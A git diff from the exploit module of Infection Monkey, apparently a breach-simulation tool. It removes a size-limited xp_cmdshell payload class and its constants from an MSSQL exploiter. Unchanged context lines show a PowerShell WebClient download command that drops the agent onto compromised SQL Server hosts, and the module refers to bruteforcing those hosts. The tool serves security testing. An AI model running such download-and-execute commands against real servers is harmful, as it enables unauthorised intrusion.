diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 820c40228..111498493 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -9,7 +9,6 @@ from common.utils.exceptions import FailedExploitationError from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.tools.helpers import get_agent_dst_path from infection_monkey.exploit.tools.http_tools import HTTPTools -from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload from infection_monkey.i_puppet import ExploiterResultData from infection_monkey.model import DROPPER_ARG from infection_monkey.transport import LockedHTTPServer @@ -32,10 +31,6 @@ class MSSQLExploiter(HostExploiter): TMP_FILE_NAME = "tmp_monkey.bat" TMP_DIR_PATH = PureWindowsPath("%temp%") / "tmp_monkey_dir" - MAX_XP_CMDSHELL_COMMAND_SIZE = 12800 - - XP_CMDSHELL_COMMAND_START = "xp_cmdshell '" - XP_CMDSHELL_COMMAND_END = "'" MONKEY_DOWNLOAD_COMMAND = ( "powershell (new-object System.Net.WebClient)." "DownloadFile(^''{http_path}^'' , ^''{dst_path}^'')" @@ -216,13 +211,3 @@ class MSSQLExploiter(HostExploiter): raise FailedExploitationError( "Bruteforce process failed on host: {0}".format(self.host.ip_addr) ) - - -class MSSQLLimitedSizePayload(LimitedSizePayload): - def __init__(self, command, prefix="", suffix=""): - super(MSSQLLimitedSizePayload, self).__init__( - command=command, - max_length=MSSQLExploiter.MAX_XP_CMDSHELL_COMMAND_SIZE, - prefix=MSSQLExploiter.XP_CMDSHELL_COMMAND_START + prefix, - suffix=suffix + MSSQLExploiter.XP_CMDSHELL_COMMAND_END, - )